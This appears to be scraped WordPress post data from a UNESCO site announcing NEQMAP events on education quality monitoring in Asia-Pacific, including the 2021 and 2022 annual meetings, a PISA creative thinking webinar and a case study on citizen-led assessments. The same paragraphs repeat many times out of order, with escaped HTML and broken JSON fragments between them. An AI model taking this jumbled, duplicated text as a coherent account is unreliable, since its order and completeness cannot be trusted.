As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the 